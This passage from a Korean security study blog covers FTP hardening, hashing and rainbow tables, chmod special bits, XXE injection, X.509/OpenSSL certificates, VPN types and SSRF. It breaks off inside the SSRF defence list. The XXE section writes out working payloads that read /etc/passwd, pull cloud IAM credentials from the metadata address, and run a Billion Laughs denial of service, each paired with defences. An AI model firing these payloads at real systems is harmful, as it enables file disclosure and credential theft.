- 일반적으로 네트워크 장비의 펌웨어 업데이트 또는 PXE 부팅에 사용
FTPS(FTP Secure/FTP-SSL)
- 기존 FTP에 SSL/TLS 암호화 계층을 추가한 프로토콜이며 21번포트로 명령, 990번 포트로 암호화된 연결을 수행함
- SSL 인증서를 통해 데이터/사용자 보안을 보장하며 FTP의 명령 체계를 유지한다는 장점이 있다.ft

6. FTP 접근 통제 파일

/etc/ftpusers
- FTP 접근을 금지할 사용자 계정을 나열하는 파일
- 파일에 포함된 사용자는 FTP로 로그인 자체가 차단됩니다.
- 보안상 중요도가 높은 계정은 기본적으로 차단되어야 합니다.(ex. root, daemon, bin ..)

# /etc/ftpusers
root
bin
daemon
sys

/etc/hosts.allow & /etc/hosts.deny
- 이 두파일은 TCP Wrapper 시스템의 일부로 네트워크 서비스를 호스트를 기준으로 허용 또는 차단합니다.
- FTP 뿐만 아니라 sshd, telnet, rsync, rlogin, finger 등 TCP 기반의 여러 데몬에 사용됩니다.
/etc/hosts.allow
- 접근을 허용할 호스트나 네트워크를 정의
- 먼저 이 파일이 확인되며, 여기서 허용되면 바로 접속허가됨

<서비스명> : <호스트 주소> [ : 옵션 ]
vsftpd : 192.168.1.100
vsftpd : .mycompany.com
ALL : 127.0.0.1

/etc/hosts.deny
- 접근을 거부할 호스트나 네트워크를 정의
- hosts.allow에 명시되지 않은 요청은 이 파일을 통해 차단 여부를 결정

<서비스명> : <호스트 주소> [ : 옵션 ]
vsftpd : ALL

7. FTP 주요 로그 파일

로그 종류	파일 경로	설명
접속/명령 로그	/var/log/vsftpd.log	사용자 로그인, 파일 업로드/다운로드 등
시스템 인증 로그	/var/log/secure(RHEL 계열) /var/log/.auth.log(Debian/Ubuntu)	로그인 시도, 인증 실패 등의 보안 로그
xferlog 형식 로그	/var/log/xferlog	전송된 파일 내역(접속 IP, 파일 크기 등)

로그 예시:

Fri May 17 13:12:04 2024 [pid 12345] CONNECT: Client "192.168.1.50"
Fri May 17 13:12:07 2024 [pid 12345] [ftpuser] OK LOGIN: Client "192.168.1.50"
Fri May 17 13:12:10 2024 [pid 12345] [ftpuser] UPLOAD: Client "192.168.1.50", "/upload/test.txt", 2048 bytes

로그 형식

필드	의미
날짜/시간	전송 시간
바이트 수	파일 크기
클라이언트IP	접속자 IP
경로	전송된 파일 경로
b/o/i	전송 방향(b:바이너리, a:ASCII 등)
사용자	로그인 사용자

8. FTP 보안 취약점

암호화 되지 않은 통신
- FTP는 ID, 비밀번호, 명령어, 데이터 모두 평문으로 전송하므로 공격자가 네트워크 패킷을 스니핑하는 경우 로그인 정보 및 파일 내용을 탈취할 수 있습니다.
- 해결방안
  - FTP 대신 SFTP 또는 FTPS를 사용
  - 내부망에서도 암호화된 프로토콜을 사용
익명 로그인(Anonymous FTP)
- 별도의 인증없이 anonymous 계정으로 로그인 가능하게 설정되어 있으면, 누구나 접속할 수 있음
- 디폴트로 anonymous는 읽기만 가능하지만, 잘못 설정되면 파일 업로드, 삭제까지 가능해짐
- 해결방안
  - anonymous_enable=NO로 익명 접속 비활성화
  - 업로드 디렉터리는 쓰기전용 + 실행금지 설정
디렉터리 트래버셜(Directory Traversal)
- 공격자가 ../ 같은 상대경로를 이용하여 루트 디렉터리 밖의 시스템 파일에 접근할 수 있음
- 취약한 FTP 서버에서 발생
- 해결방안
  - chroot(가상 루트 디렉터리) 설정 : 사용자를 자신의 홈 디렉터리에만 제한
    chroot_local_user=YES
  - 최신버전 FTP 서버를 사용
FTP Bounce Attack
- FTP PORT 명령을 악용해 서버가 제3자 시스템에 연결하도록 유도
- 공격자가 FTP 서버를 중계서버로 활용 가능
- 해결방안
  - FTP 서버 설정에서 bounce attack 차단
    deny_data_connection=YES
  - 대부분의 최신 FTP 서버에서 기본적으로 차단됨
무차별 대입 공격(Brute Force Attack)
- 공격자가 여러 ID/비밀번호 조합을 시도하여 FTP 계정 탈취 시도
- 특히 취약한 패스워드나 계정명이 존재할 경우 위험
- 해결방안
  - 강력한 비밀번호 정책 사용
  - fail2ban 등을 사용해 일정 횟수 로그인 실패시 차단
  - PAM 모듈로 인증 보안 강화
버퍼 오버플로우 및 코드 실행 취약점
- FTP 서버 소프트웨어의 버그나 취약점을 이용해 악의적인 명령어를 보내면 서버에서 임의 코드 실행 가능
- ProFTPD, vsftpd, wu-ftpdf 등의 구버전에서 발생
- 해결방안
  - FTP 서버 소프트웨어를 쵯니 버전으로 업데이트
  - 보안 패치 정기적으로 확인
로그 파일 노출
- FTP 로그 파일에는 사용자명, 접속 IP, 경로 등 민감 정보가 포함될 수 있음
- 롷그 파일 접근 권한이 잘못 설정되면 정보 유출 위험
- 해결방안
  - /var/log/vsftpd.log 등 로그 파일 권한 제한(chmod 600)
  - 로그 파일 주기적 로테이션 및 모니터링

해시함수의 개념과 특성. 레인보우 테이블 공격

defcon — Sat, 17 May 2025 20:49:43 +0900

1. 해시함수란?

해시함수는 임의의 길이를 가진 입력 데이터를 고저오딘 길이의 해시값으로 변환하는 함수입니다.

입력: "Hello World"
해시 값: a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e

출력 크기는 해시함수 알고리즘에 따라 설정됨

2. 해시함수의 특징

일방향성(One Way Function)
- 입력 -> 해시값은 쉽게 계산 가능
- 해시값 -> 입력으로 되돌리는 것은 어려움
충돌저항성(Collision Resistance)
- 서로 다른 입력이 동일한 해시값을 가질 확률이 극도로 낮음
- 하지만 이론적으로 가능
변경 민감성(Avalanche Effect)
- 입력데이터가 1bit만 변경되어도 출력 해시값은 완전히 달라짐
빠른 연산 속도
- 해시 계산은 매우 빠르게 이루어짐
2차 선이미지 회피성
- 주어진 입력 M1에 대해 같은 해시값을 가지는 다은 입력 M2를 찾는 것은 매우 어려움

3. 해시함수의 주요 용도

비밀번호 저장
- 비밀번호를 해시해서 저장 -> 원래 비밀번호는 서버에 없음
- 해시값만 저장 -> 탈취되어도 원래 비밀번호는 알수 없음
데이터 무결성 검증
- 파일이나 메시지가 변경되었는지 확인
- 해시값으로 비교 -> 다르면 변조된 것
디지털 서명
- 메시지의 해시값을 서명하여 인증
- 전체 메시지를 서명하는 것보다 빠르고 효율적
블록체인
- 블록의 연결, 작업 증명(Proof of Work)에 해시 사용

4. 주요 해시함수 종류

해시 함수	출력 길이	특징
MD5	128bit	빠르지만 충돌 발생 보안상 매우 취약
SHA-1	160bit	충돌 발생 사용이 권장되지 않음
SHA-256	256bit	현재 가장 널리 사용되는 안전한 해시
SHA-3	256, 512bit	SHA-2와 구조적으로 다름 차세대 표준으로 여겨짐

5. 해시 함수 관련 주의사항

절대로 비밀번호를 해시없이 저장하지 말것
Salt를 추가하여 Rainbow Table Attack을 방어해야 함
해시는 암호화가 아니라 지문 생성이라고 생각해야 함. 복호화가 불가능

* Rainbow Table Attack이란?

미리 계산된 해시값 목록을 활용하여 빠르게 원래 입력을 찾아내는 공격 방법 입니다.

해시함수 자체를 깨는 것이 아니라 해시값 -> 원래 입력을 빠르게 찾으려고 하는 사전 공격의 일종입니다.

레이보우 테이블 공격의 원리

공격자는 비밀번호 후보 리스트를 준비
(ex. 123456, password, qerty, abc123..)
각 후보를 해시함수에 넣어 해시값을 미리 계산
해시값을 테이블에 저장. 이것을 레인보우 테이블이라고 함
추후 유출된 해시값이 있을 때 레인보우 테이블에 해당 해시값이 저장되어 있는지 검색하고, 해시값이 존재할 경우 입력 메시지를 알아낼 수 있음

레인보우 테이블의 장점

한번 만들어놓으면 여러 공격에 재사용이 가능함
계산을 미리 해놨으므로 매우 빠르게 공격이 가능함

레인보우 테이블 공격의 방어 방법

Salt를 사용
- 비밀번호에 고유의 Salt(랜덤 데이터)를 추가하여 해시를 수행
- 같은 비밀번호라도 다른 해시값이 생성되므로 레인보우테이블 공격을 무력화할 수 있음

비밀번호: 'password'
Salt: 'X8t!2'
해시값: H('passwordX8t!2')

비밀번호 복잡도 강화
- 복잡하고 긴 비밀번호를 사용하여 레인보우 테이블을 만들기 어렵도록 함

linux chmod 명령어 사용방법과 특수권한(setuid, setgid, sticky bit)

defcon — Sun, 11 May 2025 15:15:17 +0900

chmod 명령어

chmod(change mode)은 Linux/Unix 시스템에서 파일이나 디렉토리의 권한을 변경하는 명령어입니다.

사용권한은 읽기(read,), 쓰기(write), 실행(execute) 권한을 의미하며, 사용자(user), 그룹(group), 기타 사용자(others)로 나누어집니다.

chmod 명령어 사용방법

chmod [옵션] 권한 대상

예시 :

chmod 755 test.sh
chmod u+x test.sh

권한

기호	설명
r	읽기(Read, 4)
w	쓰기(Write, 2)
x	실행(Execute, 1)

사용자 그룹

그룹	설명
u	사용자(User, 파일 소유자)
g	그룹(Group, 파일의 그룹 소유자)
o	기타(Others, 나머지 사용자)
a	모두(All = u + g + o)

각 권한의 경우 알파벳으로 r, w, x로 표현할 수 있지만 10진수 숫자로도 표현이 가능하다.

권한	값
r	4
w	2
x	1
없음	0

숫자를 사용하는 chmod 명령어 예시는 다음과 같다.

chmod 755 file
# 소유자: rwx (7), 그룹: rx (5), 기타: rx (5)


chmod 644 file
# 소유자: rw- (6), 그룹: r-- (4), 기타: r-- (4)

기호는 다음과 같이 사용할 수 있다.

chmod [ugoa][+-=][rwx] 파일

연산자	의미
+	권한 추가
-	권한 제거
=	정확히 설정

사용 예시

chmod u+x file  # 사용자에게 실행 권한 추가
chmod go-w file # 그룹과 기타 사용자에게 쓰기 권한 제거
chmod a=r file  # 모두에게 읽기 권한만 부여

chmod의 주요 옵션

옵션	설명
-v 또는 --verbose	변경사항을 자세히 출력
-c 또는 --changes	변경된 항목만 출력
-f 또는 --silent / --quit	오류 메시지 표시하지 않음
-R 또는 --recursive	디렉토리 및 그 하위 항목까지 재귀적으로 적용

chmod -R 755 /var/www/html
chmod -v u+x myscript.sh

특수 권한

권한	숫자	설명
Setuid	4000	실행 시 소유자 권한으로 동작
Setgid	2000	실행 시 그룹 권한으로 동작
Sticky bit	1000	디렉토리 내에서 파일 소유자만 삭제 가능

chmod 4755 file   # setuid + 755
chmod 2755 dir    # setgid + 755
chmod 1777 /tmp   # sticky bit + rwxrwxrwt

1. Setuid (Set User ID)

목적
- 일반 사용자가 파일 소유자의 권한으로 프로그램을 실행할 수 있게 함
주 용도
- 일반 사용자가 특정 시스템 기능을 사용할 수 있게 하되, 전체 권한은 주지 않을 때

-rwsr-xr-x 1 root root /usr/bin/passwd

/usr/bin/passwd 명령은 사용자가 자신의 비밀번호를 변경할 수 있게 하지만, 실제 변경은 /etc/shadow 파일(루트 권한 필요)을 수정해야 함
Setuid 를 통해 해당 프로그램이 루트권한으로 실행되도록 보장

2. Setgid (Set Group ID)

목적
- 디렉토리에 적용 시, 그 디렉토리 내의 모든 파일과 서브디렉토리는 자동으로 같은 그룹 소유가 됨
- 파일에 적용 시, 실행중인 프로그램이 그룹 소유자의 권한으로 동작

chmod g+s shared_dir
ls -ld shared_dir
drwxr-sr-x 2 user group shared_dir

shared_dir에 저장되는 모든 파일의 그룹이 자동으로 group이 됨
협업 시 그룹 일관성을 유지하는데 유용

3. Sticky Bit

목적
- 디렉토리에 적용하여, 해당 디렉토리 안의 파일을 소유자만 삭제 가능하게 함
- 보안 강화 : 모든 사용자가 접근 가능한 디렉토리(예: /tmp)에서 다른 사용자의 파일 삭제 방지

chmod +t /tmp
ls -ld /tmp
drwxrwxrwt 10 root root /tmp

마지막 t는 Sticky Bit 설정됨을 의미
/tmp는 모든 사용자가 사용하지만, 각자의 파일만 삭제할 수 있음

XXE Injection의 개념과 방어 방법

defcon — Sat, 10 May 2025 14:33:21 +0900

XXE Injection 이란?

XXE Injection은 XML 파서(XML Parser)가 외부 엔티티( External Entity)를 처리하는 기능을 악용하여

다양한 보안 취약점을 일으킬 수 있는 공격기법 입니다.

즉, XML 문서 내에서 정의된 외부 엔티티를 통해 시스템 내부의 민감한 데이터에 접근하거나,

서버 사이드에서 임의의 요청을 발생시키거나, DoS(Denial of Service, 서비스 거부)를 일으키는 공격입니다.

핵심개념

1. XML(eXtensible Markup Language)

데이터를 구조적으로 표현하기 위한 마크업 언어

<?xml version="1.0"?>
<user>
	<name> Jone</name>
</user>

2. 엔티티(Entity)

XML에서 데이터에 별칭(alias)을 붙이는 기능으로 내부 엔티티(Internal Entity)와 외부 엔티티(External Entity)가 있습니다.

<!ENTITY exapmple "Sample Test">

2.1 External Entity(외부 엔티티)

외부 리소스(파일, URL 등)를 참조할 수 있는 엔티티

공격자가 이 기능을 이용해 서버 내부 파일이나 네트워크 리소스에 접근을 시도할 수 있습니다.

<!ENTITY xxe SYSTEM "file:///etec/passwd">

2.2 Internal Entity(내부 엔티티)

XML 문서 내부에서 직접 정의된 값

<?xml version="1.0"?>
<!DOCTYPE note [
    <!ENTITY author "John Doe">
]>
<note>
    <to>&author;</to>
    <from>Admin</from>
    <body>Hello!</body>
</note>

XXE 취약점 발생 조건

다음은 전형적인 XXE 공격 예제 입니다.

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
</user>

이 XML을 파서가 처리하면 &xxe;가 file:///etc/passwd의 내용으로 치환됩니다.

결과저개으로 공격자는 서버의 민감한 파일 내용을 획득할 수 있게 됩니다.

공격 영향

로컬 파일 열람

file:// 프로토콜을 통해 시스템 파일 읽기

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

SSRF(서버 사이드 요청 위조)

http:// 또는 ftp:// 프로토콜을 이용하여 냅주망으로 요청을 발생

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://localhost/admin">
]>
<request>
  <target>&xxe;</target>
</request>

DoS

수백만 개의 엔티티 참조를 재귀적으로 생성해 메모리를 고갈시키는 "Billion Laughs" 공격

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>

데이터 유출 및 권한 상승

클라우드 서비스 메타데이터 접근 등

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<credentials>
  <access>&xxe;</access>
</credentials>

방어방법

외부엔티티 비활성화

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

DTD 해석 비활성화

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

보안 라이브러리 사용

SAX, DOM 대신 안전한 XML 파서 라이브러리를 사용

입력 검증 및 화이트리스트 적용

클라이언트로부터 받은 XML 데이터는 반드시 형식과 내용을 검증

X.509 인증서의 개념, Openssl을 사용한 인증서 생성 방법

defcon — Thu, 8 May 2025 07:22:45 +0900

X.509 인증서란

X.509 인증서는 공개키 기반 구조(PKI, Public Key Infrastructure)에서 사용되는 표준화된 인증서 형식입니다. 주로 SSL/TLS, 전자서명, 암호화 이메일, VPN 등에서 신원 확인과 데이터 암호화를 위해 사용됩니다.

핵심 목적은:

공개키가 특정 엔티티(예: 사용자, 서버, 조직)에 속함을 증명
제3자(CA, 인증기관)를 통해 그 신뢰성을 보증

즉, 클라이언트가 서버에 연결할 때, 서버가 제공하는 X.509 인증서를 통해 서버의 신원을 확인하고, 교환하는 공개키가 신뢰할 수 있는지를 검증합니다.

X.509 인증서의 구조

인증서는 ASN.1 (Abstract Syntax Notation One)로 정의되고 DER 또는 PEM 형식으로 인코딩됩니다. 주요 필드는 아래와 같습니다:

1. 기본 필드

필드명	설명
Version	인증서 버전(v1, v2, v3) 현재 v3가 표준
Serial Number	CA가 발생한 고유 인증서 일련번호
Signature Algorithm	인증서 서명에 사용된 알고리즘 (예 : SHA256withRSA)
Issuer	인증서를 발행한 기관(CA)이름
Validity Period	인증서의 유효기간 (Not Before ~ Not After)
Subject	인증서 소유자 (예: 도메인, 사용자, 조직)
Subject Public Key Info	공개키 정보 및 알고리즘 (예: RSA, ECDSA)

2. 서명 필드

필드명	설명
Signature	CA가 인증서 내용에 대해 생성한 디지털 서명
Signature Algorithm	서명 생성에 사용된 알고리즘(위와 동일)

이 서명을 통해 클라이언트는 인증서의 위조 여부를 검증할 수 있습니다.

3. 확장 필드 (v3 Extensions)

버전 3에서 확장 필드를 통해 다양한 기능이 추가됩니다:

확장 필드	설명
Key Usage	공개키 사용 목적 (예 : Digital Signature, Key Encipherment)
Extended Key Usage	추가용도 (예: TLS 서버 인증, 클라이언트인증, 코드 서명)
Subject Alternative Name(SAN)	추가 식별자 (예: 여러 도메인 이름, 이메일, IP 주소)
Basic Constraints	CA 여부(CA인증서인지 여부와 경로 길이 제한)
CRL Distribution Point	인증서 폐기 목록(CRL)위치
Authority Key Identifier	상위 CA의 키 식별자
Subject Key Identifier	이 인증서의 키 식별자

CRL(Certificate Revocation List)란?
CRL은 더 이상 유효하지 않은 인증서 목록입니다.
CA(인증기관)가 발급한 인증서 중에서 특정 이유로 폐기(revoke)된 것들을 기록하고,
신뢰할 수 없는 인증서를 식별하기 위해 배포하는 리스트입니다.

인증서 예시 (PEM 형식)

-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKP3...
-----END CERTIFICATE-----

이 파일을 base64로 디코딩하면 ASN.1로 인코딩된 바이너리 데이터가 나오고, 각 필드가 순서대로 들어 있습니다.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            12:34:56:78:9a:bc:de:f0:12:34:56:78:9a:bc:de:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Example CA, CN=Example Root CA
        Validity
            Not Before: May  1 00:00:00 2025 GMT
            Not After : May  1 23:59:59 2026 GMT
        Subject: C=US, O=Example Corp, CN=www.example.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:b1:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:
                    cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:67:89:
                    ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:67:
                    89:ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:
                    ...
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Subject Alternative Name:
                DNS:www.example.com, DNS:example.com
            Authority Information Access:
                OCSP - URI:http://ocsp.exampleca.com
                CA Issuers - URI:http://crt.exampleca.com/ExampleCA.crt
            X509v3 Authority Key Identifier:
                keyid:12:34:56:78:9A:BC:DE:F0:12:34:56:78:9A:BC:DE:F0
            X509v3 Subject Key Identifier:
                12:34:56:78:9A:BC:DE:F0:12:34:56:78:9A:BC:DE:F0
    Signature Algorithm: sha256WithRSAEncryption
         a1:b2:c3:d4:e5:f6:01:23:45:67:89:ab:cd:ef:01:23:
         45:67:89:ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:
         ...

PEM과 DER 형식 인증서의 차이

구분	PEM	DER
형식	Base64로 인코딩된 텍스트 + 헤더/푸터 포함	바이너리(순수 ASN.1 인코딩)
확장자	.pem, .crt, .cer	.der, .cer
사용 예	주로 웹서버, 텍스트 기반 시스템	주로 Windows, Java 시스템, 바이너리 처리
내용	Base64 디코딩하면 DER 내용과 동일	DER 바이너리 자체

X.509 신뢰 체계

루트 CA → 중간 CA → 최종 엔티티 인증서로 이어지는 체인이 있습니다.
클라이언트(예: 브라우저)는 루트 CA의 공개키를 신뢰하고, 그로부터 서명된 하위 인증서를 따라 내려오며 최종 서버 인증서까지 신뢰성을 검증합니다.

OpenSSL을 사용한 인증서 생성 방법

1. 개인키 생성

openssl genrsa -out server.key 2048

2. CSR(Certificate Signing Request) 생성

openssl req -new -key server.key -out server.csr

실행하면 여러 질문이 발생합니다.

Country Name(국가코드, 예: KR)
State or Province Name(도/시)
Locality Name(구/군)
Organization Name(회사명)
Organizational Unit Name(부서)
Common Name(도메인 명, 예: www.example.com)
Email Address

3. 인증서 발급

openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

3-1 (선택) CA를 통한 서명

CA용 개인 키 및 자체 서명 루트 인증서 생성

openssl genrsa -out ca.key 4096
openssl req -x509 -new -nodes -key ca.key -sha256 -days 3650 -out ca.crt

CA가 CSR을 서명

openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 365 -sha256

4. 인증서 확인(PEM)

openssl x509 -in server.crt -outform DER -out server.der

4-1 DER 인증서인 경우

openssl x509 -in server.der -inform DER -text -noout

가상사설망 VPN의 종류 IPsecVPN, SSLVPN

defcon — Wed, 7 May 2025 09:30:02 +0900

VPN (Virtual Private Network)란?

VPN은 가상 사설망이라고 부르며, 공용 네트워크(예: 인터넷)를 통해 사설 네트워크처럼 안전하게 데이터를 주고받도록 만드는 기술입니다.
쉽게 말하면, 외부에서 회사 내부망에 접속하거나, 공공 Wi-Fi에서도 암호화된 안전한 연결을 만들 때 쓰입니다.

VPN의 주요 기능

암호화 (Encryption): 데이터가 중간에서 도청당해도 해독할 수 없도록 암호화합니다.
인증 (Authentication): 접속자가 신뢰할 수 있는지 확인합니다.
무결성 (Integrity): 데이터가 전송 중에 변조되지 않았는지 확인합니다.
터널링 (Tunneling): 데이터를 보낼 때 하나의 ‘터널’ 안으로 감싸서 전송합니다.

VPN의 기본 동작 원리

사용자가 VPN 클라이언트를 실행해 VPN 서버에 연결 요청.
서버가 인증을 거쳐 연결 승인.
연결 후, 사용자 트래픽은 VPN 서버를 거쳐 목적지로 전송.
이때 모든 데이터는 암호화되어 안전하게 오갑니다.

VPN의 종류

크게 두 가지 주요 방식이 많이 쓰입니다:

IPsec VPN
SSL VPN

IPsec VPN (Internet Protocol Security VPN)

✅ 특징:

네트워크 계층(Layer 3)에서 작동.
주로 사무실 간의 사이트 간 연결(Site-to-Site VPN) 또는 개인 사용자의 **원격 접속(Remote Access VPN)**에 사용.
표준화된 IPsec 프로토콜을 사용해 데이터 암호화, 인증, 무결성 보호.

✅ 작동 방식:

IP 패킷 자체를 암호화.
전용 클라이언트 프로그램 필요 (OS 내장 기능으로 연결 가능할 때도 있음).
VPN 터널을 만들기 위해 IPsec의 여러 프로토콜 (IKE, ESP, AH 등)을 사용.

✅ 장점:

빠르고 안정적.
거의 모든 IP 기반 애플리케이션 지원.

✅ 단점:

방화벽이나 NAT 환경에서 설정이 복잡할 수 있음.
클라이언트 설정 필요.

IPsec VPN의 패킷 구조

IPsec은 크게 두 가지 모드에서 동작합니다:
✅ 전송 모드 (Transport Mode)
✅ 터널 모드 (Tunnel Mode)

IPsec 전송 모드 (Transport Mode)

IPsec 헤더(ESP or AH)는 원래 IP 패킷의 IP 헤더 뒤에 삽입됩니다.
IP 헤더는 그대로 두고, **페이로드(상위 계층 데이터)**만 암호화하거나 무결성 보호.

[IP Header][IPsec Header][Payload][IPsec Trailer][IPsec Auth]

특징:

두 호스트 간 통신에 적합.
네트워크 주소를 숨기지 않음 (IP 헤더는 평문).

IPsec 터널 모드 (Tunnel Mode)

전체 IP 패킷(IP 헤더 + 페이로드)을 캡슐화.
새 IP 헤더를 붙여서 전송.

[New IP Header][IPsec Header][Original IP Header + Payload][IPsec Trailer][IPsec Auth]

특징:

게이트웨이 간 VPN, 사이트 간 VPN에 적합.
원래 IP 패킷 구조와 내부 네트워크 주소를 숨김.

사용되는 주요 IPsec 헤더

AH (Authentication Header): 무결성과 인증만 제공.
ESP (Encapsulating Security Payload): 암호화 + 무결성 제공, 실제로는 ESP가 더 많이 사용됨.

SSL VPN (Secure Sockets Layer VPN)

✅ 특징:

전송 계층(Layer 4)에서 작동.
웹 브라우저 기반 접속 가능 (별도 클라이언트 설치 필요 없는 경우 많음).
HTTPS(SSL/TLS)를 통해 데이터 암호화.

✅ 작동 방식:

웹 브라우저를 통해 SSL VPN 포털 접속.
필요 시 특정 리소스(웹 애플리케이션, 파일 공유 등)에만 접속 허용.
SSL/TLS 프로토콜을 사용해 암호화된 통신을 보장.

✅ 장점:

사용하기 쉬움 (브라우저만으로 접속 가능).
방화벽/NAT 환경에서도 잘 작동.

✅ 단점:

전체 네트워크 접속보다는 특정 애플리케이션/서비스 접속에 적합.
대용량 트래픽 처리나 복잡한 네트워크 연결에는 한계.

SSL VPN의 패킷 구조

SSL VPN은 SSL/TLS 프로토콜을 사용합니다. 이건 웹 브라우저의 HTTPS 통신과 같은 구조예요.

SSL/TLS 패킷 기본 구조

SSL은 TCP 위에서 동작하므로, 구조는 다음과 같습니다:

[IP Header][TCP Header][SSL Record Header][SSL Payload (Encrypted App Data)]

주요 구성:

SSL Record Header (5 bytes):
- Content Type (1 byte)
- Protocol Version (2 bytes)
- Length (2 bytes)
SSL Payload:
- 암호화된 애플리케이션 데이터 (예: HTTP, RDP, FTP 등).

IPsec VPN vs SSL VPN 비교

항목	IPsec VPN	SSL VPN
계층	네트워크 계층 (Layer 3)	전송 계층 (Layer 4)
사용 방식	전용 클라이언트 필요	웹 브라우저 or 가벼운 클라이언트
지원 범위	전체 네트워크	특정 애플리케이션/리소스 중심
NAT/방화벽 호환성	설정 복잡 (때로 문제)	NAT, 방화벽 우회 용이
보안성	강력 (넓은 범위)	강력 (특정 목적)
사용 사례	사무실 간 연결, 전체 사설망 접근	원격 사용자, 특정 서비스 접근

SSRF(Server-Side Request Forgery)의 개념, 그리고 CSRF와의 차이

defcon — Tue, 6 May 2025 16:24:39 +0900

SSRF (Server-Side Request Forgery)란?

SSRF는 서버 측에서 외부 또는 내부로 나가는 요청을 악용하는 취약점입니다.
즉, 공격자가 서버에 특정 URL이나 IP를 요청하도록 유도해 서버가 내부 네트워크, 관리자 서버, 로컬 리소스등에 요청을 보내게 만듭니다.

클라이언트 → 서버 → (내부/외부) 리소스
공격자는 서버를 프록시처럼 사용하여 직접 접근 불가능한 자원에 간접 접근.

주요 악용 사례:

내부 관리 페이지 접근 (localhost, 127.0.0.1)
메타데이터 서비스 접근 (예: AWS http://169.254.169.254)
사설 네트워크(10.x.x.x, 192.168.x.x 등)로의 접근
Redis, Memcached 같은 비인가 서비스 접근

SSRF 공격 시나리오 예시

예시 1: 이미지 업로드 후 URL 검증

웹 애플리케이션에서 프로필 사진 URL을 입력받아 서버가 그 URL로 이미지를 가져오는 경우:

POST /upload
{
    "image_url": "http://example.com/cat.jpg"
}

공격자는 이를 조작해:

http://localhost/admin
http://127.0.0.1:8000/private
http://169.254.169.254/latest/meta-data/iam/security-credentials

서버는 외부에서 차단된 자원에 접근하고, 내부 정보나 인증 토큰, 관리 패널 내용을 공격자에게 전달.
특히 AWS의 메타데이터 서비스는 SSRF의 주요 타겟으로, 접근 시 임시 자격 증명을 훔칠 수 있음.

예시 2: 오픈 리디렉션 또는 DNS Rebinding

공격자가 자신의 도메인을 example.attacker.com으로 입력 → 서버는 example.attacker.com의 IP를 외부로 보고 요청
하지만 해당 도메인이 내부 IP (예: 127.0.0.1)로 리졸빙되면 SSRF 우회.

예시 3: 포트 스캐닝

서버에서 특정 포트로 요청이 가능한 경우:

http://internal-service:8080
http://10.0.0.1:6379 (Redis)

공격자가 서버를 이용해 내부 네트워크의 열린 포트를 식별, 추가 공격을 준비.

SSRF 방어 기법

1. 요청 차단 / 화이트리스트 기반

외부 요청 필요 시 엄격한 화이트리스트 설정 (예: 신뢰할 수 있는 도메인만).
사설 IP, localhost, 메타데이터 주소 등은 블랙리스트로는 충분하지 않음 (우회 가능성이 높음).

2. IP/포트 검증

입력받은 URL을 파싱 후, 실제 요청 전 DNS를 재검사.
내부 IP (10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1, ::1)나 메타데이터 IP는 요청하지 않도록 필터링.
잘못된 포트(예: 22, 3306, 6379 등)로의 요청 차단.

3. 서버 측 아웃바운드 요청 제한

방화벽에서 웹서버, 애플리케이션 서버의 아웃바운드 요청을 엄격히 제한.
필요 없는 외부/내부 요청은 네트워크 계층에서 차단.

4. 라이브러리 안전성 확인

URL 요청 관련 라이브러리 (예: curl, requests)에서 자동 리디렉션 여부, file:// 같은 스킴 허용 여부 확인.

5. 메타데이터 서비스 보호

클라우드 환경(AWS, GCP, Azure)에서는 인스턴스 메타데이터 서비스에 접근하는 IP를 방어 (예: IAM Role 권한 최소화, 메타데이터 서비스 V2 사용).

6. 로깅 및 모니터링

